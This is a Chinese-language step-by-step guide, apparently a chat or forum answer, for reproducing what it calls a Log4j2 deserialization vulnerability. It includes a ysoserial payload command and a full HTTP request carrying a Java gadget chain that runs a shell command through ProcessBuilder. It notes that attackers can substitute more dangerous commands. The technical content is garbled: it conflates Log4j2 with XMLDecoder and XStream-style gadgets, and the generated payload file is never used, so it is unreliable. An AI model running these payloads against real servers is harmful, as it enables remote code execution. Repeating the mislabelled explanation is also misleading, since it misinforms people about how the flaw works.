log4j2反序列化漏洞是一种Java反序列化漏洞,攻击者可以利用此漏洞在受害服务器上执行任意代码。以下是一个简单的复现过程:
1. 构建恶意的序列化payload。可以使用ysoserial工具生成恶意的payload,如以下代码:
```
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.bin
```
这个payload将在服务器上执行一个命令(touch /tmp/success),攻击者可以用自己的恶意代码替换它。
2. 将payload发送给目标服务器。攻击者可以使用各种方式将payload发送给目标服务器,例如使用curl或nc等工具。
3. 触发漏洞。攻击者可以构造一个HTTP请求,将payload发送到服务器上的Log4j2组件。例如:
```
POST / HTTP/1.1
Host: vulnerable_server.com
Content-Length: 686
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_79" class="java.beans.XMLDecoder">
<object class="org.apache.logging.log4j.core.lookup.MainMapLookup">
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string><string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>foo</string>
</entry>
</map>
</object>
</java>
```
这个请求将payload发送到一个Log4j2组件,触发反序列化漏洞。
4. 检查攻击是否成功。如果攻击成功,将在服务器上执行payload中的命令。可以检查/tmp目录是否存在success文件来验证攻击是否成功。
请注意,本示例中的payload非常简单,并且只是为了演示目的而使用的。攻击者可以使用更复杂的payload来执行更危险的操作,例如获取敏感数据或操纵服务器上的应用程序。因此,所有运行Log4j2的服务器都应该尽快升级到修复版本,以避免遭受攻击。